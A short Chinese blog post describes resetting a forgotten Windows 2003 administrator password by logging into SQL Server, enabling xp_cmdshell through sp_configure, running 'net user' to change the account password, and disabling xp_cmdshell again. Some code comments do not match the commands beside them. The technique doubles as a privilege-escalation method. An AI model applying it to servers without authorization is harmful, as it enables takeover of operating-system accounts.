利用SqlServer漏洞更改windows2003 管理员密码

某天无奈刚改完windows2003 管理员密码，就忘记了，MMD，在去不去机房改系统中纠结纠结。同事发来一个利用SqlServer漏洞修改系统密码的方法：

1.首先能连接上服务器上的SQL

2.进入SQL之后执行以下语句：

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

-- 重新配置

RECONFIGURE

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell',1

--重新配置

RECONFIGURE

--新建用户名abc，密码pwd的用户

exec master..xp_cmdshell 'net user 用户名 密码'

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

-- 重新配置 禁止使用'xp_cmdshell'

RECONFIGURE

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell',0

--重新配置

RECONFIGURE